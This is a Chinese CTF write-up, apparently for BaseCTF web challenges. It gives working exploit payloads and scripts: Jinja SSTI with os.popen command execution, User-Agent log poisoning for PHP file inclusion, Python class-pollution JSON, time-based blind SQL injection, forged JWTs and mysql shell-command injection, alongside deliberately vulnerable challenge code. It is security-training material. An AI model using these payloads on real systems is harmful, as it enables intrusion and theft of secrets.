BaseCTF{%set chr = ''['_''_cl''ass_''_']['_''_b''ase_''_']['_''_subcla''sses_''_']()[137]['_''_in''it_''_']['_''_globa''ls_''_']['_''_buil''tins_''_']['chr']%}
{%set cmd = 'ls '~chr(47)~''%}
{%print(''['_''_cl''ass_''_']['_''_b''ase_''_']['_''_subcla''sses_''_']()[137]['_''_in''it_''_']['_''_globa''ls_''_']['po''pen'](cmd)['rea''d']())%}

可以了

1
2
3
BaseCTF{%set chr = ''['_''_cl''ass_''_']['_''_b''ase_''_']['_''_subcla''sses_''_']()[137]['_''_in''it_''_']['_''_globa''ls_''_']['_''_buil''tins_''_']['chr']%}
{%set cmd = 'cat '~chr(47)~'flag'%}
{%print(''['_''_cl''ass_''_']['_''_b''ase_''_']['_''_subcla''sses_''_']()[137]['_''_in''it_''_']['_''_globa''ls_''_']['po''pen'](cmd)['rea''d']())%}

滤个不停

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
<?php
highlight_file(__FILE__);
error_reporting(0);

$incompetent = $_POST['incompetent'];
$Datch = $_POST['Datch'];

if ($incompetent !== 'HelloWorld') {
die('写出程序员的第一行问候吧!');
}

//这是个什么东东???
$required_chars = ['s', 'e', 'v', 'a', 'n', 'x', 'r', 'o'];
$is_valid = true;

foreach ($required_chars as $char) {
if (strpos($Datch, $char) === false) {
$is_valid = false;
break;
}
}

if ($is_valid) {

$invalid_patterns = ['php://', 'http://', 'https://', 'ftp://', 'file://' , 'data://', 'gopher://'];

foreach ($invalid_patterns as $pattern) {
if (stripos($Datch, $pattern) !== false) {
die('此路不通换条路试试?');
}
}


include($Datch);
} else {
die('文件名不合规 请重试');
}
?>

第一个绕过简单,第二个绕过需要知道一些基本的路径包含这些字母sevanxro,比如/var/log/nginx/access.log由于 Nginx的访问日志会记录HTTP请求头,当包含日志文件时,其中的PHP代码(<font style="color:rgb(15, 17, 21);background-color:rgb(235, 238, 242);"><?php ... ?></font>)会被服务器执行,所以在 <font style="color:rgb(15, 17, 21);">ua</font>头进行 rce 就行了

玩原神玩的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
<?php
highlight_file(__FILE__);
error_reporting(0);

include 'flag.php';
if (sizeof($_POST['len']) == sizeof($array)) {
ys_open($_GET['tip']);
} else {
die("错了!就你还想玩原神?❌❌❌");
}

function ys_open($tip) {
if ($tip != "我要玩原神") {
die("我不管,我要玩原神!😭😭😭");
}
dumpFlag();
}

function dumpFlag() {
if (!isset($_POST['m']) || sizeof($_POST['m']) != 2) {
die("可恶的QQ人!😡😡😡");
}
$a = $_POST['m'][0];
$b = $_POST['m'][1];
if(empty($a) || empty($b) || $a != "100%" || $b != "love100%" . md5($a)) {
die("某站崩了?肯定是某忽悠干的!😡😡😡");
}
include 'flag.php';
$flag[] = array();
for ($ii = 0;$ii < sizeof($array);$ii++) {
$flag[$ii] = md5(ord($array[$ii]) ^ $ii);
}

echo json_encode($flag);
} 错了!就你还想玩原神?❌❌❌

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import requests
import hashlib
url = "http://challenge.imxbt.cn:30561/"
params = {
"tip" : "我要玩原神"
}
data = {}
for i in range(1, 100):
key = "len[" + f"{i}" + "]"
data[key] = i
r = requests.post(url, params=params, data=data)
# 数组post一直发len[i]=i,并拼接从而达到要求
# print(f"{i}: {len(r.text)}")
if i == 45: # flag长度为45
data["m[0]"]="100%"
data["m[1]"] = "love100%" + hashlib.md5(b'100%').hexdigest()
# 绕过这个:if(empty($a) || empty($b) || $a != "100%" || $b != "love100%" . md5($a))
r = requests.post(url=url, params=params, data=data)
print(r.text)
break
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64

md5_list = [ # 回显的哈希值
"3295c76acbf4caaed33c36b1b5fc2cb1",
"26657d5ff9020d2abefe558796b99584",
"73278a4a86960eeb576a8fd4c9ec6997",
"ec8956637a99787bd197eacd77acce5e",
"e2c420d928d4bf8ce0ff2ec19b371514",
"43ec517d68b6edd3015b3edc9a11367b",
"ea5d2f1c4608232e07d3aa3d998e5135",
"c8ffe9a587b126f152ed3d89a146b445",
"093f65e080a295f8076b1c5722a46aa2",
"c9e1074f5b3f9fc8ea15d152add07294",
"a3c65c2974270fd093ee8a9bf8ae7d0b",
"44f683a84163b3523afe57c2e008bc8c",
"9a1158154dfa42caddbd0694a4e9bdc8",
"9a1158154dfa42caddbd0694a4e9bdc8",
"66f041e16a60928b05a7e228a89c3799",
"7f39f8317fbdb1988ef4c628eba02591",
"7f39f8317fbdb1988ef4c628eba02591",
"19ca14e7ea6328a42e0eb13d585e4c22",
"d67d8ab4f4c10bf22aa353e27879133c",
"eb160de1de89d9058fcb0b968dbbbd68",
"a5bfc9e07964f8dddeb95fc584cd965d",
"9f61408e3afb633e50cdf1b20de6f466",
"e369853df766fa44e1ed0ff613f563bd",
"e369853df766fa44e1ed0ff613f563bd",
"069059b7ef840f0c74a814ec9237b6ec",
"c8ffe9a587b126f152ed3d89a146b445",
"b53b3a3d6ab90ce0268229151c9bde11",
"e369853df766fa44e1ed0ff613f563bd",
"a0a080f42e6f13b3a2df133f073095dd",
"069059b7ef840f0c74a814ec9237b6ec",
"67c6a1e7ce56d3d6fa748ab6d9af3fd7",
"c0c7c76d30bd3dcaefc96f40275bdc0a",
"b6d767d2f8ed5d21a44b0e5886680cb9",
"98f13708210194c475687be6106a3b84",
"4e732ced3463d06de0ca9a15b6153677",
"fc490ca45c00b1249bbe3554a4fdf6fb",
"6ea9ab1baa0efb9e19094440c317e21b",
"b6d767d2f8ed5d21a44b0e5886680cb9",
"ea5d2f1c4608232e07d3aa3d998e5135",
"b6d767d2f8ed5d21a44b0e5886680cb9",
"34173cb38f07f89ddbebc2ac9128303f",
"c16a5320fa475530d9583c34fd356ef5",
"34173cb38f07f89ddbebc2ac9128303f",
"33e75ff09dd601bbe69f351039152189",
"43ec517d68b6edd3015b3edc9a11367b"
]

# 预计算所有可能数值(0~255)的MD5,建立反向映射
md5_value = {}
for v in range(256):
md5 = hashlib.md5(str(v).encode()).hexdigest() # 比如 md5 = 3295c76acbf4caaed33c36b1b5fc2cb1(B)
md5_value[md5] = v # 比如md5_value[3295c76acbf4caaed33c36b1b5fc2cb1] = B

# 根据每个索引的MD5还原字符
flag = []
for i, md5 in enumerate(md5_list):
c = md5_value[md5] # 异或结果值,比如 c = "B"
original_byte = c ^ i # 进行异或从而得到原始字符的ASCII码
flag.append(chr(original_byte))

flag = ''.join(flag)
print(flag)

ez_php_jail

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24

<?php
highlight_file(__FILE__);
error_reporting(0);
include("hint.html");
$Jail = $_GET['Jail_by.Happy'];
if($Jail == null) die("Do You Like My Jail?");

function Like_Jail($var) {
if (preg_match('/(`|\$|a|c|s|require|include)/i', $var)) {
return false;
}
return true;
}

if (Like_Jail($Jail)) {
eval($Jail);
echo "Yes! you escaped from the jail! LOL!";
} else {
echo "You will Jail in your life!";
}
echo "\n";
// 在HTML解析后再输出PHP源代码
?>

打开源码得:base64 解码得: ph0_info_Like_jail.php

看 phpinfo 发现好多函数被 ban 了

这里用到了 glob() 函数,它返回一个包含匹配指定模式的文件名或目录的数组。

该函数返回一个包含有匹配文件/目录的数组。如果失败则返回 FALSE。

php 版本小于 8 时,GET 请求的参数名含有.,会被转为_,但是如果参数名中有[,这个[ 会被直接转为_ ,但是后⾯如果有. ,这个. 就不会被转为_

所以 payload:Jail[by.Happy 用来绕过

1
?Jail[by.Happy=highlight_file(glob("/f*")[0]);

Week4

圣钥之战1.0

进 read 看看 http://challenge.imxbt.cn:31080/read

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
J1ngHong说:你想read flag吗?
那么圣钥之光必将阻止你!
但是小小的源码没事,因为你也读不到flag(乐)
from flask import Flask,request
import json

app = Flask(__name__)

def merge(src, dst):
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)

def is_json(data):
try:
json.loads(data)
return True
except ValueError:
return False

class cls():
def __init__(self):
pass

instance = cls()

@app.route('/', methods=['GET', 'POST'])
def hello_world():
return open('/static/index.html', encoding="utf-8").read()

@app.route('/read', methods=['GET', 'POST'])
def Read():
file = open(__file__, encoding="utf-8").read()
return f"J1ngHong说:你想read flag吗?
那么圣钥之光必将阻止你!
但是小小的源码没事,因为你也读不到flag(乐)
{file}
"

@app.route('/pollute', methods=['GET', 'POST'])
def Pollution():
if request.is_json:
merge(json.loads(request.data),instance)
else:
return "J1ngHong说:钥匙圣洁无暇,无人可以污染!"
return "J1ngHong说:圣钥暗淡了一点,你居然污染成功了?"

if __name__ == '__main__':
app.run(host='0.0.0.0',port=80)

原型链污染(Prototype Pollution)是 JavaScript 中常见的一种漏洞,攻击者通过修改对象的原型(<font style="color:rgb(15, 17, 21);background-color:rgb(235, 238, 242);">__proto__</font>)来影响所有继承自该原型的对象,从而可能导致属性覆盖、拒绝服务甚至远程代码执行。在 Python 中,虽然没有原型链,但类似的概念可以通过修改类属性或全局变量来实现,比如利用递归合并函数覆盖对象的特殊属性(如 <font style="color:rgb(15, 17, 21);background-color:rgb(235, 238, 242);">__class__</font><font style="color:rgb(15, 17, 21);background-color:rgb(235, 238, 242);">__globals__</font>),进而改变程序行为。

flag直接读取不就行了?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
highlight_file('index.php');
# 我把flag藏在一个secret文件夹里面了,所以要学会遍历啊~
error_reporting(0);
$J1ng = $_POST['J'];
$Hong = $_POST['H'];
$Keng = $_GET['K'];
$Wang = $_GET['W'];
$dir = new $Keng($Wang);
foreach($dir as $f) {
echo($f . '<br>');
}
echo new $J1ng($Hong);
?>

明显是要用 php 中的一些原生类所以查了下资料

目录遍历:<font style="color:rgb(15, 17, 21);background-color:rgb(235, 238, 242);">DirectoryIterator</font><font style="color:rgb(15, 17, 21);background-color:rgb(235, 238, 242);">FilesystemIterator</font><font style="color:rgb(15, 17, 21);background-color:rgb(235, 238, 242);">GlobIterator</font> 用于列出目录内容,<font style="color:rgb(15, 17, 21);background-color:rgb(235, 238, 242);">echo</font> 输出匹配的第一个文件名。<font style="color:rgb(15, 17, 21);background-color:rgb(235, 238, 242);">GlobIterator</font> 直接支持通配符(不加 <font style="color:rgb(15, 17, 21);background-color:rgb(235, 238, 242);">glob://</font>)。

文件读取:<font style="color:rgb(15, 17, 21);background-color:rgb(235, 238, 242);">SplFileObject</font> 配合 <font style="color:rgb(15, 17, 21);background-color:rgb(235, 238, 242);">php://filter</font> 伪协议读取完整文件,例如:<font style="color:rgb(15, 17, 21);background-color:rgb(235, 238, 242);">php://filter/convert.base64-encode/resource=flag.php</font>(直接 <font style="color:rgb(15, 17, 21);background-color:rgb(235, 238, 242);">echo</font> 仅读第一行)。

payload:

1
2
get:?K=FilesystemIterator&W=/secret	#发现flag的位置/secret/f11444g.php
post:J=SplFileObject&H=php://filter/read=convert.base64-encode/resource=/secret/f11444g.php

only one sql

在Oracle数据库中,<font style="color:rgb(33, 33, 33);">execute immediate</font>是一种动态SQL语句的执行方式。它允许用户在运行时构造SQL语句并立即执行,而不需要事先声明或准备。

直接非预期解:

1
execute immediate concat('sel','ect * from flag')

预期解:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import requests
import string
import time

url = "http://challenge.imxbt.cn:30682/"
charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789{}_-"
flag = ""

for i in range(1, 80):
for c in charset:
guess = flag + c
payload = f"update flag set id='1' where if(data regexp '^{guess}',sleep(1.5),1)"
start = time.time()

try:
requests.get(url, params={"sql": payload}, timeout=5)
except:
pass
cost = time.time() - start
if cost > 1.3:
flag += c
print("current:", flag)
break
print("flag:", flag)

No JWT

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
from flask import Flask, request, jsonify
import jwt
import datetime
import os
import random
import string

app = Flask(__name__)

# 随机生成 secret_key
app.secret_key = ''.join(random.choices(string.ascii_letters + string.digits, k=16))

# 登录接口
@app.route('/login', methods=['POST'])
def login():
data = request.json
username = data.get('username')
password = data.get('password')

# 其他用户都给予 user 权限
token = jwt.encode({
'sub': username,
'role': 'user', # 普通用户角色
'exp': datetime.datetime.utcnow() + datetime.timedelta(hours=1)
}, app.secret_key, algorithm='HS256')
return jsonify({'token': token}), 200

# flag 接口
@app.route('/flag', methods=['GET'])
def flag():
token = request.headers.get('Authorization')

if token:
try:
decoded = jwt.decode(token.split(" ")[1], options={"verify_signature": False, "verify_exp": False})
# 检查用户角色是否为 admin
if decoded.get('role') == 'admin':
with open('/flag', 'r') as f:
flag_content = f.read()
return jsonify({'flag': flag_content}), 200
else:
return jsonify({'message': 'Access denied: admin only'}), 403

except FileNotFoundError:
return jsonify({'message': 'Flag file not found'}), 404
except jwt.ExpiredSignatureError:
return jsonify({'message': 'Token has expired'}), 401
except jwt.InvalidTokenError:
return jsonify({'message': 'Invalid token'}), 401
return jsonify({'message': 'Token is missing'}), 401

if __name__ == '__main__':
app.run(debug=True)

分析代码只要用户是 admin 就输出 flag,并且要有这个头 Authorization 并且在 HTTP 认证中,<font style="color:rgb(15, 17, 21);background-color:rgb(235, 238, 242);">Bearer</font> 是一种标准的身份验证方案,用于传递令牌(如 JWT)。它的格式通常是:

1
Authorization: Bearer <token>

先抓包得到原始的 token,会显示application/json 所以要改一下

加上 json 就可以得到原始的 token 了

赛博厨子进行炒一下得

之后改为 admin 再加密

放进 /flag 发一下就行了

1
2
3
4
5
6
7
8
GET /flag HTTP/1.1
Host: challenge.imxbt.cn:30494
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Authorization: bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOm51bGwsInJvbGUiOiJhZG1pbiIsImV4cCI6MTc3MzE1Mjg0MywiaWF0IjoxNzczMTQ5NDE1fQ.hEcIvN7m-B_5yqVYmyA4fVMuHa9mIT7SpyuWyvIse4o
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Upgrade-Insecure-Requests: 1

Final

Jinja Mark

去 index 里看看

waf 了

进 /flag 看看

写爆破脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import requests
url = "http://challenge.imxbt.cn:32143/flag"
params = {

}
count = 0
for i in range (5000,9999):
data = {
"lucky_number" : f"{i}"
}
resp = requests.post(url=url, params=params, data=data)
if int(i / 100) * 100 == i :
print(f"{i} : {len(resp.text)}")
# print(f"{i} : {len(resp.text)}")
if len(resp.text) != 312 :
print(f"{i} : {resp.text}")
break

爆出 <font style="color:rgb(0, 0, 0);">lucky_number</font><font style="color:rgb(0, 0, 0);">5346</font>

可以看到源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
BLACKLIST_IN_index = ['{','}']
def merge(src, dst):
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)
@app.route('/magic',methods=['POST', 'GET'])
def pollute():
if request.method == 'POST':
if request.is_json:
merge(json.loads(request.data), instance)
return "这个魔术还行吧"
else:
return "我要json的魔术"
return "记得用POST方法把魔术交上来"

所以还是原型链污染,在 /magic 和 /index 的路由下进行操作,payload:

/magic下

1
2
3
4
5
6
7
8
9
{
"__class__": {
"__init__": {
"__globals__": {
"BLACKLIST_IN_index":""
}
}
}
}

/index下:

1
{{config.__class__.__init__.__globals__['os'].popen('cat /f*').read()}}

1z_php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
<?php
highlight_file('index.php');
# 我记得她...好像叫flag.php吧?
$emp=$_GET['e_m.p'];
$try=$_POST['try'];
if($emp!="114514"&&intval($emp,0)===114514)
{
for ($i=0;$i<strlen($emp);$i++){
if (ctype_alpha($emp[$i])){
die("你不是hacker?那请去外场等候!");
}
}
echo "只有真正的hacker才能拿到flag!"."<br>";

if (preg_match('/.+?HACKER/is',$try)){
die("你是hacker还敢自报家门呢?");
}
if (!stripos($try,'HACKER') === TRUE){
die("你连自己是hacker都不承认,还想要flag呢?");
}

$a=$_GET['a'];
$b=$_GET['b'];
$c=$_GET['c'];
if(stripos($b,'php')!==0){
die("收手吧hacker,你得不到flag的!");
}
echo (new $a($b))->$c();
}
else
{
die("114514到底是啥意思嘞?。?");
}
# 觉得困难的话就直接把shell拿去用吧,不用谢~
$shell=$_POST['shell'];
eval($shell);
?>

分析代码

1
2
if($emp!="114514"&&intval($emp,0)===114514) {...}
else {die("114514到底是啥意思嘞?。?");}

这个绕过需要使得传入的参数 e_m.p 的值不为 114514 但是整数值为 114514。所以 e_m.p 直接取 114514.114514 就可以了。

???,查了一下由于参数名 <font style="color:rgb(15, 17, 21);background-color:rgb(235, 238, 242);">e_m.p</font> 中包含点,直接通过URL传递时,PHP会将点转换为下划线(<font style="color:rgb(15, 17, 21);background-color:rgb(235, 238, 242);">e_m_p</font>),导致无法获取,所以得换种形式

当 php 版本小于 8 时,GET 请求的参数名含有.,会被转为_,但是如果参数名中有[,这个[ 会被直接转为_ ,但是后面如果有. ,这个. 就不会被转为_

?e_m.p=114514.1(无括号):由于没有括号,点号在 url 传参非法所以会转换成给e_m_p传参,传参后原来的 e_m.p并没有接收到参数所以不会被赋值

?e[m.p]=114514.1(有右括号):由于包含 [],PHP将其解析为数组:e 是数组名,m.p 是数组键。最终生成:$_GET['e']['m.p'] = '114514.1'。数组键中的点号保留,不会被转换为下划线。但是原来的 e_m.p并没有接收到参数所以不会被赋值

?e[m.p=114514.1(无右括号):由于缺少右括号 ],PHP不将其视为数组,而是当作一个普通参数名,完整的参数名是e[m.p。然后PHP对参数名进行非法字符转换:点号被转换为下划线,得到 e[m_p。最终生成:$_GET['e[m_p'] = '114514.1'

这样就直接绕过了

分析代码:

1
2
3
4
5
for ($i=0;$i<strlen($emp);$i++){
if (ctype_alpha($emp[$i])){
die("你不是hacker?那请去外场等候!");
}
}

该循环检查 <font style="color:rgb(15, 17, 21);background-color:rgb(235, 238, 242);">$emp</font> 中的每个字符,若存在字母则终止。要绕过,只需让 <font style="color:rgb(15, 17, 21);background-color:rgb(235, 238, 242);">$emp</font> 不包含任何字母,同时满足 <font style="color:rgb(15, 17, 21);background-color:rgb(235, 238, 242);">intval($emp,0) === 114514</font><font style="color:rgb(15, 17, 21);background-color:rgb(235, 238, 242);">$emp != "114514"</font>。常见方法是在数字后添加非字母字符(如小数点、空格、加号等),例如 <font style="color:rgb(15, 17, 21);background-color:rgb(235, 238, 242);">114514.1</font><font style="color:rgb(15, 17, 21);background-color:rgb(235, 238, 242);">114514</font>(末尾空格)或 <font style="color:rgb(15, 17, 21);background-color:rgb(235, 238, 242);">114514+</font> 等。这样 <font style="color:rgb(15, 17, 21);background-color:rgb(235, 238, 242);">intval</font> 会截取到第一个非数字字符,得到 114514,而字符串本身不等于 “114514”,且不包含字母,从而通过循环。而用 <font style="color:rgb(15, 17, 21);">114514a</font> 进行绕过就会被拦截

分析代码:

1
2
3
4
5
6
if (preg_match('/.+?HACKER/is',$try)){
die("你是hacker还敢自报家门呢?");
}
if (!stripos($try,'HACKER') === TRUE){
die("你连自己是hacker都不承认,还想要flag呢?");
}

绕过原理:<font style="color:rgb(15, 17, 21);background-color:rgb(235, 238, 242);">preg_match</font>的正则匹配回溯次数超过 1000000 时,<font style="color:rgb(15, 17, 21);background-color:rgb(235, 238, 242);">preg_match</font> 会返回 <font style="color:rgb(15, 17, 21);background-color:rgb(235, 238, 242);">false</font>

构造<font style="color:rgb(15, 17, 21);background-color:rgb(235, 238, 242);">$try = '-' * 1000001 . 'HACKER'</font>。即1000001个短横线后接 <font style="color:rgb(15, 17, 21);background-color:rgb(235, 238, 242);">HACKER</font>。正则 <font style="color:rgb(15, 17, 21);background-color:rgb(235, 238, 242);">/.+?HACKER/</font> 会从第一个字符开始尝试,每次匹配一个短横线,然后检查后面是否为 <font style="color:rgb(15, 17, 21);background-color:rgb(235, 238, 242);">HACKER</font>,直到第1000001次才成功(因为后面紧跟 <font style="color:rgb(15, 17, 21);background-color:rgb(235, 238, 242);">HACKER</font>)。这需要1000001次回溯,超过限制1000000,从而绕过。

分析代码:

1
2
3
4
5
6
7
$a=$_GET['a'];
$b=$_GET['b'];
$c=$_GET['c'];
if(stripos($b,'php')!==0){
die("收手吧hacker,你得不到flag的!");
}
echo (new $a($b))->$c();

重点在于这里 new 了一个类:(new $a($b))->$c(),所以我们可以用SplFileObject类中的fpassthrufgets函数进行绕过,由于是 flag.php,所以用伪协议读php://filter/read=convert.base64-encode/resource=flag.php

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import requests

url = "http://challenge.imxbt.cn:32028/"

params = {
"e[m.p" : "114514.114514",
"a" : "SplFileObject",
"b" : "php://filter/read=convert.base64-encode/resource=flag.php",
"c" : "fpassthru"
}

data= {
"try" : "-" * 1000001 + "HACKER"
}
r = requests.post(url=url, params=params, data=data)
print(r.text)

Lucky Number

给源码了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
from flask import Flask,request,render_template_string,render_template
from jinja2 import Template
import json
import heaven
def merge(src, dst):
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)

class cls():
def __init__(self):
pass

instance = cls()

BLACKLIST_IN_index = ['{','}']
def is_json(data):
try:
json.loads(data)
return True
except ValueError:
return False

@app.route('/m4G1c',methods=['POST', 'GET'])
def pollute():
if request.method == 'POST':
if request.is_json:
merge(json.loads(request.data), instance)
result = heaven.create()
message = result["message"]
return "这个魔术还行吧
" + message
else:
return "我要json的魔术"
return "记得用POST方法把魔术交上来"


#heaven.py

def create(kon="Kon", pure="Pure", *, confirm=False):
if confirm and "lucky_number" not in create.__kwdefaults__:
return {"message": "嗯嗯,我已经知道你要创造东西了,但是你怎么不告诉我要创造什么?", "lucky_number": "nope"}
if confirm and "lucky_number" in create.__kwdefaults__:
return {"message": "这是你的lucky_number,请拿好,去/check下检查一下吧", "lucky_number": create.__kwdefaults__["lucky_number"]}

return {"message": "你有什么想创造的吗?", "lucky_number": "nope"}

照样原型链污染,注意是 heaven.py 下的 create 函数的 __kwdefaults__

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
{
"__class__" : {
"__init__" : {
"__globals__" : {
"heaven" : {
"create" : {
"__kwdefaults__" : {
"confirm" : "True",
"lucky_number" : "123"
}
}
}
}
}
}
}

访问 /check 发现黑名单没了,所以可以 进 /ssSstTti1 SSTI 了

payload:

1
flag={{config.__class__.__init__.__globals__['os'].popen("cat flag").read()}}

Back to the Future

进来没啥东西

根据指引下载了GitHacker

1
2
3
4
5
6
7
PS D:\tools\GitHacker-1.1.3> githacker --url http://challenge.imxbt.cn:32464/.git --output 123

......

2026-03-11 19:13:47 INFO Check it out: 123\8f37cec6e6157ccaf056a06386fe645b
2026-03-11 19:13:47 INFO 1 / 1 were exploited successfully
2026-03-11 19:13:47 INFO http://challenge.imxbt.cn:32464/.git -> 123\8f37cec6e6157ccaf056a06386fe645b

进目录看一下,发现 flag 被删了

看下日志

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
PS D:\tools\GitHacker-1.1.3\123\8f37cec6e6157ccaf056a06386fe645b> git log
commit e2bc04bc70f7b7476ae7ad0e943ef62aa2b5556e (HEAD -> master, origin/master, origin/HEAD)
Author: Kengwang <github@kengwang.com.cn>
Date: Fri Aug 23 02:35:28 2024 +0800

Remove Flag

commit 9d85f10e0192ef630e10d7f876a117db41c30417
Author: Kengwang <github@kengwang.com.cn>
Date: Fri Aug 23 02:34:33 2024 +0800

Add What

commit 8f7720b7891039b394e26e67ff10d6c6d2a144d5
Author: Kengwang <github@kengwang.com.cn>
Date: Fri Aug 23 02:32:38 2024 +0800

Initial Commit

恢复提交记录就行了

1
PS D:\tools\GitHacker-1.1.3\123\8f37cec6e6157ccaf056a06386fe645b> git checkout 9d85f10e0192ef630e10d7f876a117db41c30417

RCE or Sql Inject

1
2
3
4
5
6
7
8
9
10
11
<?php
highlight_file(__FILE__);
$sql = $_GET['sql'];
if (preg_match('/se|ec|;|@|del|into|outfile/i', $sql)) {
die("你知道的,不可能有sql注入");
}
if (preg_match('/"|\$|`|\\\\/i', $sql)) {
die("你知道的,不可能有RCE");
}
$query = "mysql -u root -p123456 -e \"use ctf;select 'ctfer! You can\\'t succeed this time! hahaha'; -- " . $sql . "\"";
system($query); ctfer! You can't succeed this time! hahaha ctfer! You can't succeed this time! hahaha
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
mysql> ?
For information about MySQL products and services, visit:
http://www.mysql.com/
For developer information, including the MySQL Reference Manual, visit:
http://dev.mysql.com/
To buy MySQL Enterprise support, training, or other products, visit:
https://shop.mysql.com/

List of all MySQL commands:
Note that all text commands must be first on line and end with ';'
? (\?) Synonym for `help'.
clear (\c) Clear the current input statement.
connect (\r) Reconnect to the server. Optional arguments are db and host.
delimiter (\d) Set statement delimiter.
ego (\G) Send command to mysql server, display result vertically.
exit (\q) Exit mysql. Same as quit.
go (\g) Send command to mysql server.
help (\h) Display this help.
notee (\t) Don't write into outfile.
print (\p) Print current command.
prompt (\R) Change your mysql prompt.
quit (\q) Quit mysql.
rehash (\#) Rebuild completion hash.
source (\.) Execute an SQL script file. Takes a file name as an argument.
status (\s) Get status information from the server.
system (\!) Execute a system shell command, if enabled
tee (\T) Set outfile [to_outfile]. Append everything into given outfile.
use (\u) Use another database. Takes database name as argument.
charset (\C) Switch to another charset. Might be needed for processing binlog with multi-byte charsets.
warnings (\W) Show warnings after every statement.
nowarning (\w) Don't show warnings after every statement.
resetconnection(\x) Clean session context.
query_attributes Sets string parameters (name1 value1 name2 value2 ...) for the next query to pick up.
ssl_session_data_print Serializes the current SSL session data to stdout or file

For server side help, type 'help contents'

mysql>

注意到system (\!) Execute a system shell command, if enabled

所以执行system就可以用 \!代替

1
2
3
4
5
mysql> system whoami
fischl\gaohang
mysql> \! whoami
fischl\gaohang
mysql>

看了 wp

1
2
3
?sql=%0asystem whoami //这样通过换行符来执行命令
?sql=%0asystem export //通过环境变量读flag
?sql=%0a system cat /proc/s*lf/environ

Sql Inject or RCE

1
2
3
4
5
6
7
8
9
10
11
<?php
highlight_file(__FILE__);
$sql = $_GET['sql'];
if (preg_match('/se|ec|st|;|@|delete|into|outfile/i', $sql)) {
die("你知道的,不可能有sql注入");
}
if (preg_match('/"|\$|`|\\\\/i', $sql)) {
die("你知道的,不可能有RCE");
}
$query = "mysql -u root -p123456 -e \"use ctf;select 'ctfer! You can\\'t succeed this time! hahaha'; -- " . $sql . "\"";
system($query);

看表

看列名

st 没有了所以只能用 next 了

1
http://challenge.imxbt.cn:32502/?sql=%0a delimiter LFischl %0a handler flag open LFischl %0a handler flag read next

ez_php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
<?php
highlight_file(__file__);
function substrstr($data)
{
$start = mb_strpos($data, "[");
$end = mb_strpos($data, "]");
return mb_substr($data, $start + 1, $end - 1 - $start);
}

class Hacker{
public $start;
public $end;
public $username="hacker";
public function __construct($start){
$this->start=$start;
}
public function __wakeup(){
$this->username="hacker";
$this->end = $this->start;
}

public function __destruct(){
if(!preg_match('/ctfer/i',$this->username)){
echo 'Hacker!';
}
}
}

class C{
public $c;
public function __toString(){
$this->c->c();
return "C";
}
}

class T{
public $t;
public function __call($name,$args){
echo $this->t->t;
}
}
class F{
public $f;
public function __get($name){
return isset($this->f->f);
}

}
class E{
public $e;
public function __isset($name){
($this->e)();
}

}
class R{
public $r;

public function __invoke(){
eval($this->r);
}
}

if(isset($_GET['ez_ser.from_you'])){
$ctf = new Hacker('{{{'.$_GET['ez_ser.from_you'].'}}}');
if(preg_match("/\[|\]/i", $_GET['substr'])){
die("NONONO!!!");
}
